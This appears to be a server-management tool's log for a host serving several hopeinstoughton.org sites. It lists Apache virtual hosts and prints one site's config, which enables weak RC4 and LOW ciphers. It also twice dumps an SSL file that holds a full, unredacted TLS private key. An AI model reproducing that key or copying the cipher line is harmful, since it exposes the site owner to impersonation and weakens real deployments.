MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-01-03 19:06:17: Establishing a connection
2026-01-03 19:06:19: 

PUT: /tmp/pkp307315

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-01-03 19:06:20: 

chmod 755 /tmp/pkp307315; /tmp/pkp307315; rm /tmp/pkp307315

2026-01-03 19:06:20: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:2)
         port 80 namevhost cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:2)
         port 80 namevhost cygnus.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cygnus_org.conf:1)
         port 80 namevhost hymns.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_hymns_org.conf:1)
         port 80 namevhost mixer.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_mixer_org.conf:1)
         port 80 namevhost stoughton.hostz.org (/etc/apache2/sites-enabled/hostz_stoughton_us.conf:3)
*:443                  is a NameVirtualHost
         default server cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:20)
         port 443 namevhost cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:20)
         port 443 namevhost cygnus.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cygnus_org.conf:37)
         port 443 namevhost hymns.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_hymns_org.conf:22)
         port 443 namevhost mixer.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_mixer_org.conf:22)
         port 443 namevhost stoughton.hostz.org (/etc/apache2/sites-enabled/hostz_stoughton_us.conf:28)
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.


2026-01-03 19:06:20: 

PUT: /tmp/pkp180156

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-available/hopeinstoughton_hymns_org.conf')
    show_file('/etc/apache2/sites-available/hopeinstoughton_hymns_org.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-01-03 19:06:20: 

chmod 755 /tmp/pkp180156; /tmp/pkp180156; rm /tmp/pkp180156

2026-01-03 19:06:20: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-available/hopeinstoughton_hymns_org.conf	1490
<VirtualHost *:80>
    ServerName	hymns.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hopeinstoughton_hymns
    <Directory /var/www/hopeinstoughton_hymns>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/hymns_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/hymns_error.log
    SetEnv pkp_uid	28
    SetEnv pkp_owner	stoughton
    DirectoryIndex	index.html index.htm index.py
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	hymns.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/51ff58e8c1fdb83e589e0546356f00d4
    DocumentRoot	/var/www/hopeinstoughton_hymns
    <Directory /var/www/hopeinstoughton_hymns>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/hymns_secure_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/hymns_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.htm index.py
</VirtualHost>





----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-available/hopeinstoughton_hymns_org.conf	1490
<VirtualHost *:80>
    ServerName	hymns.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hopeinstoughton_hymns
    <Directory /var/www/hopeinstoughton_hymns>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/hymns_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/hymns_error.log
    SetEnv pkp_uid	28
    SetEnv pkp_owner	stoughton
    DirectoryIndex	index.html index.htm index.py
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	hymns.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/51ff58e8c1fdb83e589e0546356f00d4
    DocumentRoot	/var/www/hopeinstoughton_hymns
    <Directory /var/www/hopeinstoughton_hymns>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/hymns_secure_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/hymns_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.htm index.py
</VirtualHost>







2026-01-03 19:06:20: 

PUT: /tmp/pkp878737

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/51ff58e8c1fdb83e589e0546356f00d4')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-01-03 19:06:21: 

chmod 755 /tmp/pkp878737; /tmp/pkp878737; rm /tmp/pkp878737

2026-01-03 19:06:21: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/51ff58e8c1fdb83e589e0546356f00d4	5385
cd:8f:26:d5:18:ea:d6:47:d2:67:da:2c:da:00:21:5a

-----BEGIN CERTIFICATE-----
MIIFFTCCA/2gAwIBAgISBS/XsdpTAH0CFIV9Y+aI1ktqMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwMTAzMTcxNjE3WhcNMjYwNDAzMTcxNjE2WjAkMSIwIAYDVQQD
ExloeW1ucy5ob3BlaW5zdG91Z2h0b24ub3JnMIIBIjANBgkqhkiG9w0BAQEFAAOC
AQ8AMIIBCgKCAQEAxGWFIEFX2u59TNziWB8CrQzCGHpFeaGe1zwofUVTBTY3kCbf
7wG3pnujVXydVJqacEZzpjcBmRSqLQyBGB0SbUYHBqvDTDeIMTON46kuNpFiSkM9
c9jekNCgckdpCk2DnagwBKqn7jwOAbT4oTL9r5/JDw18FA4rX+KzGF3OiSVEJB/L
OiI005mjhxS03AQnzO81QfdP76UZ3kVrANKo2dKuUsJJRGN8VV8COReGaRagwR+9
IsaXZBVXp4IMUsB6ERlc6S+uAuTz/faNWscOPhgcahigf1zEYiXYuOJREgMsPezx
3JDIOH3yS6cDdJ6w9KfpYOFYMqZXE540ZrM5JQIDAQABo4ICMDCCAiwwDgYDVR0P
AQH/BAQDAgWgMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMB
Af8EAjAAMB0GA1UdDgQWBBSZrbNTkPkpFzMtuLmMJyc+dCtAXjAfBgNVHSMEGDAW
gBTnq58PLDOgU9NeT3jIsoQOO9aSMzAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUH
MAKGF2h0dHA6Ly9yMTMuaS5sZW5jci5vcmcvMCQGA1UdEQQdMBuCGWh5bW5zLmhv
cGVpbnN0b3VnaHRvbi5vcmcwEwYDVR0gBAwwCjAIBgZngQwBAgEwLwYDVR0fBCgw
JjAkoCKgIIYeaHR0cDovL3IxMy5jLmxlbmNyLm9yZy8xMDcuY3JsMIIBCgYKKwYB
BAHWeQIEAgSB+wSB+AD2AHUAyzj3FYl8hKFEX1vB3fvJbvKaWc1HCmkFhbDLFMMU
WOcAAAGbhRGu8QAABAMARjBEAiB/6zYnhtB4mCSJ1qIVmlACAOGqSTqKWVCuGpkK
W2Q6cwIgKD8XtAe3jiOBFgt1WHaIa8n5HA09JKm/FpBNue7Gq/kAfQClyXiSXVdG
F4KHDdiJZgtcVWSLfQBA8uwHaFHRiGkZ9wAAAZuFEbEWAAgAAAUALb4N1gQDAEYw
RAIgeRWzeBkjscJ838rAchgCAKhGtKrp7kB71V6fAUycd8YCIBnlCSBRGiY89UGR
Kl7MFsU0aKk85MrX3Wo6DWDN/hm+MA0GCSqGSIb3DQEBCwUAA4IBAQBoZSb4XVil
txyf7JLd8a/9Q9bq+nXYF5uDSRW0vJkMsu3uyNy9jL6Ymo0IxUz8NzlITWGz7pc1
8OTfhzKsbf7WL/UGyecSeQDW8o7lEJ2QEzcoulj5GFOaaHr3+2miA0RbVJtH91es
5qDpcthirQZ5/2aIJuGVpkaYAYMvxeqO8Cd+VLfbIHwud1NdYcDCpcml2KrHzaok
WUkWoVymBHa9NI4iuiFXuvmBjELXeykcl6zg5MczsiW6Row1FIP/exNEbHXnLpRq
eZdi+CmrMEfgNjKJJ5D64N2FJ+mK10+dj/1Ri7IvA0xchV96i6cvAXUKADo7sgiZ
YocpVC96KaN7
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDEZYUgQVfa7n1M
3OJYHwKtDMIYekV5oZ7XPCh9RVMFNjeQJt/vAbeme6NVfJ1UmppwRnOmNwGZFKot
DIEYHRJtRgcGq8NMN4gxM43jqS42kWJKQz1z2N6Q0KByR2kKTYOdqDAEqqfuPA4B
tPihMv2vn8kPDXwUDitf4rMYXc6JJUQkH8s6IjTTmaOHFLTcBCfM7zVB90/vpRne
RWsA0qjZ0q5SwklEY3xVXwI5F4ZpFqDBH70ixpdkFVenggxSwHoRGVzpL64C5PP9
9o1axw4+GBxqGKB/XMRiJdi44lESAyw97PHckMg4ffJLpwN0nrD0p+lg4VgyplcT
njRmszklAgMBAAECggEABGxG4Aa6/EkEQqsYO9usEhzoOmgt9V5cEnvU/eOGAQvU
Ucv65qVpnMCTopmVNA2jkuVNkZkTGn7RJOC4kh+GDu2DTf6n2V/syVdyrBfMypA9
e4H0AvwZ/DWjKtH54ou6fidiAXV4bpCSq+UG0vsdyQr2iEguGtE8TYxLz4kHAe/J
jqQNvfbVyV5i3+BodehDwkNgy34ohH7wlhaATM26Rq+FfHhPrLXAoAHTz+N3a4sC
8EjWYKzDrPu584EG48ErSKv8DRywol+CexRNmr3H19ja0R+6ea+dhGM49dsN5ItP
tBozgjhpWwxK3ld5nfQguASngAY4CfsF6lT5tyvTNwKBgQD2VmhGkrJx56bgqNyk
UsCrWnh8QttrQBckYLrYs3NfCA7K5C5+qGZf23XCAGwxiwFwbecRFcyAdbWYaerW
3B8s8csBMXPJdmYSLLWUPjAZvcjSnc9LF8IhuaQ+EPctM0xlhaRfX/uALLxj/fh8
m34ncXKrGtSNWPculJdsXhwIBwKBgQDMGaGyOAGaE3PaRoAP77VzgnWY98IB1ff/
P5RkD+RJNwiB94OfhAQEEucD1e2GBs5M58h4pTd6y6OW/Cd50N0PgDGAiMlHsHyB
ASBYUNFuJ4GPdE1eIRSyV7LqRLPXPMzPnjIdrn0Yw1PNGzXJsDmIm4msUlCGrLNG
7+MauBPycwKBgQCfre82IA2QDGt+Ibe0xPejm6eSVPxKj2bw68rygZB9v4lnN3Z0
H9EMvgOdWAzKKKMsL/Gif5DqjGLEg5P45wNGbQ38ngPCSf9sNJMXnyAq73zoGeev
c50ho2a13OV85U3WWUTtlhg/Q8ByyMR0cY7bHo0IIQI7Bbpk9Wkak/5zrQKBgEMC
g1ktFDGPA3F9xhv1WsDC63M+nP7XTmYKbODxasUzAWMSba+Yu2zO+/QBb8uaPm93
hhU+QVnatColPZy8G2g0cYw+3L7hze7Y/NKiLjCZXetIhwJJoC7xpjdOOTGIr8HW
saOXH1FbCA+GSIGgjzMvxeLC39dnqjC3H/wsxbfLAoGAL8agnxB8ajRyxcnc8Jdh
yrZ2qoknC7aLFv56lBR0bhhz/D1a72E/vjpwsAixG6mYqX0lqwUE+Krask6eKoPt
3Bu1i/ydCayM5/7LDWbBdxjUmAsRtyHAYlaA77DAJbOb4J8krtNrON9Zf99LgWGK
iClo1ciLHyATCfy0wH628H8=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			





2026-01-03 19:06:21: 

PUT: /tmp/pkp363078

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/51ff58e8c1fdb83e589e0546356f00d4')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-01-03 19:06:22: 

chmod 755 /tmp/pkp363078; /tmp/pkp363078; rm /tmp/pkp363078

2026-01-03 19:06:22: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/51ff58e8c1fdb83e589e0546356f00d4	5385
cd:8f:26:d5:18:ea:d6:47:d2:67:da:2c:da:00:21:5a

-----BEGIN CERTIFICATE-----
MIIFFTCCA/2gAwIBAgISBS/XsdpTAH0CFIV9Y+aI1ktqMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwMTAzMTcxNjE3WhcNMjYwNDAzMTcxNjE2WjAkMSIwIAYDVQQD
ExloeW1ucy5ob3BlaW5zdG91Z2h0b24ub3JnMIIBIjANBgkqhkiG9w0BAQEFAAOC
AQ8AMIIBCgKCAQEAxGWFIEFX2u59TNziWB8CrQzCGHpFeaGe1zwofUVTBTY3kCbf
7wG3pnujVXydVJqacEZzpjcBmRSqLQyBGB0SbUYHBqvDTDeIMTON46kuNpFiSkM9
c9jekNCgckdpCk2DnagwBKqn7jwOAbT4oTL9r5/JDw18FA4rX+KzGF3OiSVEJB/L
OiI005mjhxS03AQnzO81QfdP76UZ3kVrANKo2dKuUsJJRGN8VV8COReGaRagwR+9
IsaXZBVXp4IMUsB6ERlc6S+uAuTz/faNWscOPhgcahigf1zEYiXYuOJREgMsPezx
3JDIOH3yS6cDdJ6w9KfpYOFYMqZXE540ZrM5JQIDAQABo4ICMDCCAiwwDgYDVR0P
AQH/BAQDAgWgMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMB
Af8EAjAAMB0GA1UdDgQWBBSZrbNTkPkpFzMtuLmMJyc+dCtAXjAfBgNVHSMEGDAW
gBTnq58PLDOgU9NeT3jIsoQOO9aSMzAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUH
MAKGF2h0dHA6Ly9yMTMuaS5sZW5jci5vcmcvMCQGA1UdEQQdMBuCGWh5bW5zLmhv
cGVpbnN0b3VnaHRvbi5vcmcwEwYDVR0gBAwwCjAIBgZngQwBAgEwLwYDVR0fBCgw
JjAkoCKgIIYeaHR0cDovL3IxMy5jLmxlbmNyLm9yZy8xMDcuY3JsMIIBCgYKKwYB
BAHWeQIEAgSB+wSB+AD2AHUAyzj3FYl8hKFEX1vB3fvJbvKaWc1HCmkFhbDLFMMU
WOcAAAGbhRGu8QAABAMARjBEAiB/6zYnhtB4mCSJ1qIVmlACAOGqSTqKWVCuGpkK
W2Q6cwIgKD8XtAe3jiOBFgt1WHaIa8n5HA09JKm/FpBNue7Gq/kAfQClyXiSXVdG
F4KHDdiJZgtcVWSLfQBA8uwHaFHRiGkZ9wAAAZuFEbEWAAgAAAUALb4N1gQDAEYw
RAIgeRWzeBkjscJ838rAchgCAKhGtKrp7kB71V6fAUycd8YCIBnlCSBRGiY89UGR
Kl7MFsU0aKk85MrX3Wo6DWDN/hm+MA0GCSqGSIb3DQEBCwUAA4IBAQBoZSb4XVil
txyf7JLd8a/9Q9bq+nXYF5uDSRW0vJkMsu3uyNy9jL6Ymo0IxUz8NzlITWGz7pc1
8OTfhzKsbf7WL/UGyecSeQDW8o7lEJ2QEzcoulj5GFOaaHr3+2miA0RbVJtH91es
5qDpcthirQZ5/2aIJuGVpkaYAYMvxeqO8Cd+VLfbIHwud1NdYcDCpcml2KrHzaok
WUkWoVymBHa9NI4iuiFXuvmBjELXeykcl6zg5MczsiW6Row1FIP/exNEbHXnLpRq
eZdi+CmrMEfgNjKJJ5D64N2FJ+mK10+dj/1Ri7IvA0xchV96i6cvAXUKADo7sgiZ
YocpVC96KaN7
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDEZYUgQVfa7n1M
3OJYHwKtDMIYekV5oZ7XPCh9RVMFNjeQJt/vAbeme6NVfJ1UmppwRnOmNwGZFKot
DIEYHRJtRgcGq8NMN4gxM43jqS42kWJKQz1z2N6Q0KByR2kKTYOdqDAEqqfuPA4B
tPihMv2vn8kPDXwUDitf4rMYXc6JJUQkH8s6IjTTmaOHFLTcBCfM7zVB90/vpRne
RWsA0qjZ0q5SwklEY3xVXwI5F4ZpFqDBH70ixpdkFVenggxSwHoRGVzpL64C5PP9
9o1axw4+GBxqGKB/XMRiJdi44lESAyw97PHckMg4ffJLpwN0nrD0p+lg4VgyplcT
njRmszklAgMBAAECggEABGxG4Aa6/EkEQqsYO9usEhzoOmgt9V5cEnvU/eOGAQvU
Ucv65qVpnMCTopmVNA2jkuVNkZkTGn7RJOC4kh+GDu2DTf6n2V/syVdyrBfMypA9
e4H0AvwZ/DWjKtH54ou6fidiAXV4bpCSq+UG0vsdyQr2iEguGtE8TYxLz4kHAe/J
jqQNvfbVyV5i3+BodehDwkNgy34ohH7wlhaATM26Rq+FfHhPrLXAoAHTz+N3a4sC
8EjWYKzDrPu584EG48ErSKv8DRywol+CexRNmr3H19ja0R+6ea+dhGM49dsN5ItP
tBozgjhpWwxK3ld5nfQguASngAY4CfsF6lT5tyvTNwKBgQD2VmhGkrJx56bgqNyk
UsCrWnh8QttrQBckYLrYs3NfCA7K5C5+qGZf23XCAGwxiwFwbecRFcyAdbWYaerW
3B8s8csBMXPJdmYSLLWUPjAZvcjSnc9LF8IhuaQ+EPctM0xlhaRfX/uALLxj/fh8
m34ncXKrGtSNWPculJdsXhwIBwKBgQDMGaGyOAGaE3PaRoAP77VzgnWY98IB1ff/
P5RkD+RJNwiB94OfhAQEEucD1e2GBs5M58h4pTd6y6OW/Cd50N0PgDGAiMlHsHyB
ASBYUNFuJ4GPdE1eIRSyV7LqRLPXPMzPnjIdrn0Yw1PNGzXJsDmIm4msUlCGrLNG
7+MauBPycwKBgQCfre82IA2QDGt+Ibe0xPejm6eSVPxKj2bw68rygZB9v4lnN3Z0
H9EMvgOdWAzKKKMsL/Gif5DqjGLEg5P45wNGbQ38ngPCSf9sNJMXnyAq73zoGeev
c50ho2a13OV85U3WWUTtlhg/Q8ByyMR0cY7bHo0IIQI7Bbpk9Wkak/5zrQKBgEMC
g1ktFDGPA3F9xhv1WsDC63M+nP7XTmYKbODxasUzAWMSba+Yu2zO+/QBb8uaPm93
hhU+QVnatColPZy8G2g0cYw+3L7hze7Y/NKiLjCZXetIhwJJoC7xpjdOOTGIr8HW
saOXH1FbCA+GSIGgjzMvxeLC39dnqjC3H/wsxbfLAoGAL8agnxB8ajRyxcnc8Jdh
yrZ2qoknC7aLFv56lBR0bhhz/D1a72E/vjpwsAixG6mYqX0lqwUE+Krask6eKoPt
3Bu1i/ydCayM5/7LDWbBdxjUmAsRtyHAYlaA77DAJbOb4J8krtNrON9Zf99LgWGK
iClo1ciLHyATCfy0wH628H8=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
